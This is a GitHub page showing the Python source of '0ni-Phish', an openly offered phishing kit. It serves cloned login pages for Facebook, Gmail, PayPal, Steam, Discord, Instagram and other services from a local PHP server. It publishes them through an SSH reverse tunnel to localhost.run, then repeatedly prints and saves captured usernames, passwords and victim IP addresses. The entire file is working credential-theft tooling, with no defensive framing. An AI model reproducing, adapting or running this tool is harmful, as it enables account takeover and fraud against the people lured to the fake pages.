-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy path0ni.py
204 lines (187 loc) · 6 KB
/
0ni.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
# 0ni-Phish
# By: Euronymou5
# https://twitter.com/Euronymou51
# https://github.com/Euronymou5
import os
import time
from colorama import Fore
from re import search
from os.path import isfile
from subprocess import DEVNULL, PIPE, Popen, STDOUT
global site
def cat(file):
if isfile(file):
with open(file, "r") as filedata:
return filedata.read()
return ""
error_file = "logs/error.log"
def append(text, filename):
with open(filename, "a") as file:
file.write(str(text)+"\n")
def grep(regex, target):
if isfile(target):
content = cat(target)
else:
content = target
results = search(regex, content)
if results is not None:
return results.group(1)
return ""
def bgtask(command, stdout=PIPE, stderr=DEVNULL, cwd="./"):
try:
return Popen(command, shell=True, stdout=stdout, stderr=stderr, cwd=cwd)
except Exception as e:
append(e, error_file)
cf_file = "logs/lh.log"
cf_log = open(cf_file, 'w')
def setup(site):
print('\n[~] Iniciando servidor php...')
print('[~] Puerto: 8080')
os.system(f"php -S localhost:8080 -t pages/{site} > /dev/null 2>&1 & ")
time.sleep(2)
print('\n[~] Servidor php: ✔️')
print('\n[~] Creando links...')
time.sleep(2)
bgtask("ssh -R 80:localhost:8080 localhost.run -T -n", stdout=cf_log, stderr=cf_log)
cf_success = False
for i in range(10):
cf_url = grep("(https://[-0-9a-z.]*.lhr.life)", cf_file)
if cf_url != "":
cf_success = True
break
time.sleep(1)
print(f'\n[~] Link: {cf_url}')
print('\n[~] Esperando datos...')
while True:
if os.path.isfile(f'pages/{site}/usuarios.txt'):
print('\n\033[31m[!] Usuarios encontrados!')
print('\033[92m')
os.system(f"cat pages/{site}/usuarios.txt")
os.system(f"cat pages/{site}/usuarios.txt >> pages/{site}/usuarios_guardados.txt")
os.system(f"rm -rf pages/{site}/usuarios.txt")
print('\n\033[34m[~] Usuarios guardados en: usuarios_guardados.txt')
if os.path.isfile(f'pages/{site}/ip.txt'):
print('\n\033[31m[!] IP encontrados!')
print('\033[31m')
os.system(f"cat pages/{site}/ip.txt")
os.system(f"cat pages/{site}/ip.txt >> pages/{site}/ip_guardados.txt")
os.system(f"rm -rf pages/{site}/ip.txt")
print('')
print('\n\033[34m[~] IP guardados en: ip_guardados.txt')
def menu():
os.system("killall php")
os.system("clear")
print("""\033[92m
██████ ███ ██ ██ ██████ ██ ██ ██ ███████ ██ ██
██ ████ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ██ ██ ██████ ███████ ██ ███████ ███████
████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██ ████ ██ ██ ██ ██ ██ ███████ ██ ██
v3.0
|---[ By: Euronymou5 ]---|
""")
print("""
[1] Facebook [2] Google gmail
[3] Twitter [4] Netflix
[5] Github [6] Discord
[7] Paypal [8] Roblox
[9] Steam [10] Instagram
""")
inl = int(input('\n>> '))
if inl == 1:
print('\n[~] Selecciona el lenguaje que deseas usar:')
print('\n[1] Español')
print('\n[2] Ingles')
a = int(input('\n>> '))
if a == 1:
site = "Facebook"
setup(site)
elif a == 2:
site = "Facebook_en"
setup(site)
else:
menu()
elif inl == 2:
site = "Google"
setup(site)
elif inl == 3:
print('\n[~] Selecciona el lenguaje que deseas usar:')
print('\n[1] Español')
print('\n[2] Ingles')
a = int(input('\n>> '))
if a == 1:
site = "Twitter"
setup(site)
elif a == 2:
site = "Twitter_en"
setup(site)
else:
menu()
elif inl == 4:
site = "Netflix"
setup(site)
elif inl == 5:
site = "Github"
setup(site)
elif inl == 6:
print('\n[~] Selecciona el lenguaje que deseas usar:')
print('\n[1] Español')
print('\n[2] Ingles')
a = int(input('\n>> '))
if a == 1:
site = "discord"
setup(site)
elif a == 2:
site = "discord_en"
setup(site)
else:
menu()
elif inl == 7:
site = "paypal"
setup(site)
elif inl == 8:
print('\n[~] Selecciona el lenguaje que deseas usar:')
print('\n[1] Español')
print('\n[2] Ingles')
a = int(input('\n>> '))
if a == 1:
site = "roblox_es"
setup(site)
elif a == 2:
site = "roblox_en"
setup(site)
else:
menu()
elif inl == 9:
print('\n[~] Selecciona el lenguaje que deseas usar:')
print('\n[1] Español')
print('\n[2] Ingles')
a = int(input('\n>> '))
if a == 1:
site = "Steam"
setup(site)
elif a == 2:
site = "Steam_en"
setup(site)
else:
menu()
elif inl == 10:
site = "instagram"
setup(site)
else:
print(f'{Fore.RED}\n[!] Error opcion invalida!')
time.sleep(2)
menu()
def config():
home = os.getenv("HOME")
if os.path.isfile(f'{home}/.ssh/id_rsa'):
menu()
else:
print('\033[31m\n[!] Key de localhost.run no encontrada.')
print('\033[32m\n[~] Generando key...')
time.sleep(2)
os.system(f"ssh-keygen -N '' -t rsa -f {home}/.ssh/id_rsa")
time.sleep(2)
menu()
if __name__ == "__main__":
config()